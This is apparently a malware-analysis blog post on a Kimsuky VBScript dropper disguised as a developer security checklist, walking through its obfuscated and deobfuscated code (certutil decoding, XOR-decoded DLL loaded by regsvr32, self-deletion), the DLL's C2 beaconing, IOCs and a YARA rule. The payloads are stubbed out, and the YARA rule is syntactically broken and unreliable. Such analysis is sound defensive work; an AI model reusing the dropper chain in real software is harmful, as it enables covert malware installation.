Post

Kimsuky 3

Introduction

Kimsuky Kimsucky ?

In my previous blog post, I covered the analysis of a North Korean-based APT group called Kimsucky APT. We examined a malicious PowerShell script which acted as backdoor for the adversary’s purposes. Let’s revise some key points about Kimsucky :

  • Kimsuky was first publicly disclosed and named by Kaspersky in 2013. The attack activities can be traced back to 2012. It is an APT organization suspected to have background in East Asian countries.
  • The name Kimsuky is given because the email account to which the Russian security company Kaspersky, first reported the group’s attack sent the stolen information, was Kimsukyang.
  • It used numerous malicious codes such as Gold Dragon, Babyshark and Appleseed. It is also called Thallium, Velvet Chollima, Black Banshee .

Looking through my daily bazaar feed I found this sample and it was named “SW보안점검표(개발자 사전점검용)_v2.0_beta.xlsm .vbs” . On translating it was found that it meant “SW security checklist (for developer preliminary inspection)_v2.0_beta.xlsm .vbs”. By the looks of it the sample may have been used as a phishing tool to trick a developer into clicking it going by the name. Also note the double extension used in order to make it look more legit.

VB Script

VBScript, which stands for Visual Basic Scripting Edition, is a lightweight scripting language modeled after Visual Basic. It’s primarily used to automate tasks on Windows machines and add interactivity to web pages. VBScript can download malicious files (often encoded) from the internet and then execute them using commands like ShellExecute etc.

Initial Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
On Error Resume Next

Set mQiOw0 = WScript.CreateObject("WSc"&"ri"&"pt.She"&"ll")
Set quOblJ = CreateObject("Scr"&"ipting.File"&"Syst"&"emOb"&"ject")

v8Fh7k = "0x8d"
Sub selfDel
	quOblJ.DeleteFile(WScript.ScriptFullName)
End Sub
Sub main
	kzkdt = mQiOw0.ExpandEnvironmentStrings("%programdata%\")
	If Not quOblJ.FolderExists(kzkdt) Then
		kzkdt = mQiOw0.ExpandEnvironmentStrings("%systemroot%\")
	End If

	hWH9A7w1 = "very large base 64 encoded payload"
	jlv6GMwMm = "very large base 64 encoded thing "

	vawrG3u = "SW��������ǥ(������ �������˿�)_v2.0_beta.xlsm"
	ev1uqrc = "wg5Du.iWJ446"
	auHnoGM = vawrG3u & ".b64"
	o6Nmd7 = ev1uqrc & ".b64"
	brKT0Kw = ev1uqrc & ".bat"

	n4ECXs = vawrG3u
	pylR8I = kzkdt & auHnoGM
	lNiqUnR56 = kzkdt & ev1uqrc
	hMNAklJmh = kzkdt & o6Nmd7
	lQ2oc8w = kzkdt & brKT0Kw


	Set iajdFe3 = quOblJ.CreateTextFile(pylR8I, True)
	iajdFe3.Write(hWH9A7w1)
	iajdFe3.Close()


	mQiOw0.Run "pow"&"ersh"&"ell cert"&"util -decode " & pylR8I & " " & n4ECXs, 0, True
	mQiOw0.Run "cm"&"d /c de"&"l /q /f " & pylR8I, 0, True
	mQiOw0.Run "c"&"md /c st"&"art " & n4ECXs, 0, True


	Set aFoZLFM = quOblJ.CreateTextFile(hMNAklJmh, True)
	aFoZLFM.Write(jlv6GMwMm)
	aFoZLFM.Close()


	Set nMJNsm = quOblJ.CreateTextFile(lQ2oc8w, True)
	nMJNsm.Write("c"&"m"&"d /c"&" po"&"w"&"er"&"s"&"he"&"ll $b6"&"4t"&"ex"&"t "&"= [S"&"y"&"s"&"te"&"m.I"&"O.Fi"&"le]::Rea"&"dAl"&"lTe"&"xt(\""" & hMNAklJmh & "\""); $by"&"tes ="&" [Sys"&"tem."&"Co"&"nv"&"ert]::Fr"&"omBa"&"se"&"64"&"St"&"ri"&"ng($b64"&"te"&"xt);f"&"or($i"&"=0; "&"$i "&"-lt $"&"by"&"tes.co"&"unt ; $i"&"++){$by"&"tes"&"[$"&"i] "&"= $by"&"te"&"s["&"$i] -bx"&"or \""" & v8Fh7k & "\"";}; [Sy"&"st"&"em.I"&"O.Fi"&"le]::W"&"ri"&"teA"&"ll"&"By"&"tes(\""" & lNiqUnR56 & "\"", $by"&"tes) & reg""sv""r32 /s /i:13"&"579A"&"SDFG " & lNiqUnR56 & "")
	nMJNsm.Close()


	mQiOw0.Run "cm"&"d /"&"c "&lQ2oc8w, 0, True
	selfDel
	 asdfasdf= "again very large base 64 encoded thing"

End Sub
main

On opening the file the first thing we see is 3 big base64 encoded string. I haven’t mentioned them here as it will just eat up space in the editor. We also see some basic string obfuscation. The script first calls the main function. We will try and analyze the scripts in small parts and perform deobfuscation wherever possible.

Deobfuscation

1
2
3
4
5
6
7
8
9
On Error Resume Next

Set mQiOw0 = WScript.CreateObject("WSc"&"ri"&"pt.She"&"ll")
Set quOblJ = CreateObject("Scr"&"ipting.File"&"Syst"&"emOb"&"ject")

v8Fh7k = "0x8d"
Sub selfDel
	quOblJ.DeleteFile(WScript.ScriptFullName)
End Sub

Firstly the script is setting 3 global variables, we will try and rename each one of them according to their working. We see that the string is divided using the “&” operator. Actually this not obfuscation but a clever way of writing the commands. & in VB Script is used to concatenate string. So basically here it’s being used to concatenate parts of string together to form a bigger string.

  • mQiOw0 is used to create a WScript Shell object which interacts with the Windows shell
  • quOblJ is used to create a FileSystem object used to work with directories and files.
  • Right now the use of v8Fh7k is unknown, it only holds a decimal value(141).
  • The sub procedure selfDel as the name suggests is being used to delete the script created using quOblJ. Now that we know what this part is doing we can rename the variables and remove the string concatenation.
1
2
3
4
5
6
7
8
9
On Error Resume Next

Set programShell = WScript.CreateObject("WScript.Shell")
Set fileSystem = CreateObject("Scripting.FileSystemObject")

xor_key = "0x8d" // explained later ;)
Sub selfDel
	fileSystem.DeleteFile(WScript.ScriptFullName)
End Sub

The next part is the main sub procedure and as it’s very big I will try and explain it in parts.

1
2
3
4
kzkdt = programShell.ExpandEnvironmentStrings("%programdata%\")
	If Not fileSystem.FolderExists(kzkdt) Then
		kzkdt = programShell.ExpandEnvironmentStrings("%systemroot%\")
	End If
  • The kzkdt variable is being used to store the path of ProgramData .
  • If the ProgramData folder is not available then it sets it to the path of root.
  • Therefore the value of kzkdt can be either
    • C:\ProgramData
    • C:\Windows

We can rename the variable to something simpler

1
2
3
4
5
// my computer has programdata folder so I know for sure that it's going to be that
programdata_dir = programShell.ExpandEnvironmentStrings("%programdata%\")
	If Not fileSystem.FolderExists(programdata_dir) Then
		programdata_dir = programShell.ExpandEnvironmentStrings("%systemroot%\")
	End If

Next up we have two very large base64 enocoded string. For sake of understanding I’m replacing them with a dummy base64 string.

1
2
3
4
5
6
7
8
	hWH9A7w1 = "aGVsbG8gd29ybGQ="
	jlv6GMwMm = "aGVsbG8gd29ybGQgMg=="

	vawrG3u = "SW��������ǥ(������ �������˿�)_v2.0_beta.xlsm"
	ev1uqrc = "wg5Du.iWJ446"
	auHnoGM = vawrG3u & ".b64"
	o6Nmd7 = ev1uqrc & ".b64"
	brKT0Kw = ev1uqrc & ".bat"
  • vawrG3u is being used to store the script filename.
  • ev1uqrc is also being used to store dropped filename.
  • auHnoGM concatenates script filename with .b64 extension.
  • o6Nmd7 concatenates dropped filename with .b64 extension.
  • brKT0Kw concatenates the dropped filename with .bat extension.

Renaming these variables according to their usage and I’m also changing the script name as Korean language is not being rendered. The part becomes something like this

1
2
3
4
5
6
7
8
	base_1 = "aGVsbG8gd29ybGQ="
	base_2 = "aGVsbG8gd29ybGQgMg=="
	scipt_name = "malicious_v2.0_beta.xlsm"
	drop_file_name = "wg5Du.iWJ446"
	script_name_b64 = scipt_name & ".b64" ' malicious_v2.0_beta.xlsm.b64
	drop_file = drop_file_name & ".b64" ' wg5Du.iWJ446.b64
	drop_file_bat = drop_file_name & ".bat" ' wg5Du.iWJ446.bat

Next up we have some path settting up for the files mentioned above

1
2
3
4
5
6
	n4ECXs = scipt_name
	pylR8I = programdata_dir & script_name_b64
	lNiqUnR56 = programdata_dir & drop_file_name
	hMNAklJmh = programdata_dir & drop_file
	lQ2oc8w = programdata_dir & drop_file_bat
	
1
2
3
4
5
	script_name_2 = scipt_name ' malicious_v2.0_beta.xlsm
	script_path_b64 = programdata_dir & script_name_b64 ' C:\ProgramData\malicious_v2.0_beta.xlsm.b64
	drop_file_path = programdata_dir & drop_file_name ' C:\ProgramData\wg5Du.iWJ446
	drop_file_b64 = programdata_dir & drop_file ' C:\ProgramData\wg5Du.iWJ446.b64
	drop_file_bat_path = programdata_dir & drop_file_bat ' C:\ProgramData\wg5Du.iWJ446.bat

So now that we’ve a fair understanding of where the files are going to saved and what their names are going to be, we can proceed further to main functionality.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
	Set iajdFe3 = fileSystem.CreateTextFile(script_path_b64, True)
	iajdFe3.Write(base_1)
	iajdFe3.Close()


	programShell.Run "pow"&"ersh"&"ell cert"&"util -decode " & script_path_b64 & " " & script_name_2, 0, True
	programShell.Run "cm"&"d /c de"&"l /q /f " & script_path_b64, 0, True
	programShell.Run "c"&"md /c st"&"art " & script_name_2, 0, True


	Set aFoZLFM = fileSystem.CreateTextFile(drop_file_b64, True)
	aFoZLFM.Write(base_2)
	aFoZLFM.Close()


	Set nMJNsm = fileSystem.CreateTextFile(drop_file_bat_path, True)
	nMJNsm.Write("c"&"m"&"d /c"&" po"&"w"&"er"&"s"&"he"&"ll $b6"&"4t"&"ex"&"t "&"= [S"&"y"&"s"&"te"&"m.I"&"O.Fi"&"le]::Rea"&"dAl"&"lTe"&"xt(\""" & drop_file_b64 & "\""); $by"&"tes ="&" [Sys"&"tem."&"Co"&"nv"&"ert]::Fr"&"omBa"&"se"&"64"&"St"&"ri"&"ng($b64"&"te"&"xt);f"&"or($i"&"=0; "&"$i "&"-lt $"&"by"&"tes.co"&"unt ; $i"&"++){$by"&"tes"&"[$"&"i] "&"= $by"&"te"&"s["&"$i] -bx"&"or \""" & xor_key & "\"";}; [Sy"&"st"&"em.I"&"O.Fi"&"le]::W"&"ri"&"teA"&"ll"&"By"&"tes(\""" & drop_file_path & "\"", $by"&"tes) & reg""sv""r32 /s /i:13"&"579A"&"SDFG " & drop_file_path & "")
	nMJNsm.Close()


	programShell.Run "cm"&"d /"&"c "&drop_file_bat_path, 0, True
	selfDel
	 asdfasdf= "again very large base 64 encoded thing"
  • iajdFe3 is used to create a text file in the script_path_b64 path and base_1 is being written into it.
  • Next up we see some basic powerhshell commands that are divided by the &. We can just remove the spaces and join them to see the command.
  • aFoZLFM is also being used to create a text file in the drop_file_b64 path and base_2 is being written into it.
  • nMJNsm is also being used to create a bat file that will be used to decode the base64 using the xor_key we saw earlier and the file will be also added to registry.
  • selfDel function is ran to delete the original skin to cover up any tracks
  • Last we have another base64 string but as it’s not being referenced anywhere we will leave it . It might be there just to confuse us. Changing the names and remove the required characters the final decoded Vb script looks something like this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
On Error Resume Next

Set programShell = WScript.CreateObject("WScript.Shell")
Set fileSystem = CreateObject("Scripting.FileSystemObject")

xor_key = "0x8d"
Sub selfDel
	fileSystem.DeleteFile(WScript.ScriptFullName)
End Sub
Sub main
	programdata_dir = programShell.ExpandEnvironmentStrings("%programdata%\")
	If Not fileSystem.FolderExists(programdata_dir) Then
		programdata_dir = programShell.ExpandEnvironmentStrings("%systemroot%\")
	End If

	base_1 = " something big here "
	base_2 = " something big here too"
	scipt_name = "malicious_v2.0_beta.xlsm"
	drop_file_name = "wg5Du.iWJ446"
	script_name_b64 = scipt_name & ".b64" ' malicious_v2.0_beta.xlsm.b64
	drop_file = drop_file_name & ".b64" ' wg5Du.iWJ446.b64
	drop_file_bat = drop_file_name & ".bat" ' wg5Du.iWJ446.bat

	script_name_2 = scipt_name ' malicious_v2.0_beta.xlsm
	script_path_b64 = programdata_dir & script_name_b64 ' C:\ProgramData\malicious_v2.0_beta.xlsm.b64
	drop_file_path = programdata_dir & drop_file_name ' C:\ProgramData\wg5Du.iWJ446
	drop_file_b64 = programdata_dir & drop_file ' C:\ProgramData\wg5Du.iWJ446.b64
	drop_file_bat_path = programdata_dir & drop_file_bat ' C:\ProgramData\wg5Du.iWJ446.bat


	Set newTextFile = fileSystem.CreateTextFile(script_path_b64, True)
	newTextFile.Write(base_1)
	newTextFile.Close()


	programShell.Run "powershell certutil -decode " & script_path_b64 & " " & script_name_2, 0, True
	' powershell certutil -decode C:\ProgramData\malicious_v2.0_beta.xlsm.b64 malicious_v2.0_beta.xlsm

	programShell.Run "cmd /c del /q /f " & script_path_b64, 0, True
	' cmd /c del /q /f C:\ProgramData\malicious_v2.0_beta.xlsm.b64

	programShell.Run "cmd /c start " & script_name_2, 0, True
	' cmd /c start malicious_v2.0_beta.xlsm


	Set newTextFile_2 = fileSystem.CreateTextFile(drop_file_b64, True)
	newTextFile_2.Write(base_2)
	newTextFile_2.Close()


	Set dll_loading = fileSystem.CreateTextFile(drop_file_bat_path, True)
	nMJNsm.Write("cmd /c powershell $b64text = [System.IO.File]::ReadAllText(""" & drop_file_b64 & """) ; $bytes = [System.Convert]::FromBase64String($b64text); for($i = 0; $i < $bytes.count ; $i++) {$bytes[$i] = $bytes[$i] -bXor """ & xor_key & """}; [System.IO.File]::WriteAllBytes(""" & drop_file_path & """, $bytes) & regsvr32 /s /i:13579ASDFG " & drop_file_path & "")

	
	dll_loading.Close()


	programShell.Run "cmd /c " drop_file_bat_path, 0, True
	selfDel

End Sub
main

I tried running the above script in my environment but it failed due to some issues on my end. So I converted this VB script into a powershell script and ran it. I ommited the commands that had the execution part in them like cmd /c and the registry command.

Dynamic Analysis

Running the VB Script using cscript in cmd. I opened Procmon in side to see what all is being done by script. Vb Dropper I removed the auto start feature from the script so that I can manually control the flow of the malware. Let’s take a look into the files that are droped. We see that the same files name and path is there that we discussed earlier while deobfuscating. Now let’s run the bat file in order to decode the base 64 file. After running the bat file, a file is dropped by the same name and it doesn’t have any extension. Let’s open the file in PE Studio.

DLL Analysis

PE Studio Dropped File is a DLL As we can see that the dropped file is a DLL file. We would also know it if we took at the powershell decoding command in which regsvr32 is used to register DLLs. The dropped DLL has no imports so we know that it is packed or does DLL loading in the memory. Floss Running Floss on the DLL we can see many calls to different Windows API functions. We can put breakpoint on many of these functions and get some more insight into how the stack strings are decrypted.

  • The dropped DLL is actually a loader, and its entry point function is decrypted by AES to obtain another piece of DLL data, and then directly loaded into memory and called the entry point function of that DLL.
  • The DLL is started through regsvr32.exe and its exported function DllRegisterServer is also called.This function will call the function at offset 0xB2F0 of the loaded DLL, and this offset value is the location of the DllRegisterServer exported function of the loaded DLL.

DLL

  • The exported function DllRegisterServer performs persistence operations, and the entry point function communicates with the C2 server. The function DllRegisterServer achieves persistence by setting the registry keys which are provided in IOC below.
  • The entry point function calls sub_18000ACC0 through CreateThread to start the thread that communicates with the C2 server. First restore the communication URL: hxxp://qwert.mine.bz/index.php, and then enter the loop.
  • In the loop, the thread first sends a POST request to the C2 server as an online notification. If the C2 server responds and the first byte of the response content is the character “1”, it will continue with subsequent operations, otherwise it will sleep for 3 seconds. After receiving the response from the C2 server, the thread creates a CMD shell. DLL
  • After decoding the url and the string that maybe corresponds to a username, we can see the loop being executed and the DLL trying to contact the C2 every 3 seconds. Maybe we can look after exploiting the C2 server as it’s still active. Wireshark

The structure of the VB script aligns with the attack process detailed in many reports on Kimsuky activities. Additionally, the double-extension VBScript sample’s use of regsvr32 to load the backdoor DLL is a technique frequently employed by Kimsuky when deploying AppleSeed malware. Oh and by the way remember that there was another base64 encoded string that was never used ? That is actually another piece of PE file data at the end of the script. After decrypting this part of the data using the same method, it was found that the PE was actually copied and spliced ​​9 times from the released DLL data. Maybe it was kept as a backup ?

YARA Rules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
rule kimsuky_VBS_script {

	meta:
		author = "somdieyoungZZ"
		date = "2024-03-13"

	strings:
	    $header = { 0x45, 0x53 }  # VBScript header 
	    $programShell_func = "WScript.Shell" wide ascii
	    $createTextFile_func = "CreateTextFile" wide ascii
	    $filename_pattern = wide ascii  
	    $certutil_cmd = "certutil -decode" wide ascii
	    $xor_key = { 0x8d }  
	    $base64_regex = /[A-Za-z0-9+\/]+={0,2}/  
	
	condition:
    		(uint16(0) == 0x4553 or uint16(0) == 0x5345) and
	    ($programShell_func or $createTextFile_func) and
	    ($filename_pattern =~ /(malicious_[\^.]+\.b64)/) and
	    $certutil_cmd and $xor_key and
	    $base64_regex
}

IOC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
MD5
12539ac37a81cc2e19338a67d237f833
SHA-1
39a61c4d9d25c8ed1b38b1a51a8ef0b5cf51ce10
SHA-256
db18e23bebb8581ba5670201cea98ccf71ecea70d64856b96c56c63c61b91bbe 

C2   
qwert[.]mine.bz
216[.]189.154.6:80

URL
hxxp://qwert.mine(.)bz/index.php

Registry Key Added

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ESTUpdate
HKEY_CURRENT_USER_CLASSES\Local Settings\MuiCache\2F\AAF68885\LanguageList
HKLM\SOFTWARE\Microsoft\Windows Media Player NSS\3.0\Servers\D8B548F0-E306-4B2B-BD82-25DAC3208786\FriendlyName

Virustotal

AnyRun

Bazaar

Thank You for reading this till the end ❤

Discord somedieyoungzz

Twitter https://twitter.com/IdaNotPro

This post is licensed under CC BY 4.0 by the author.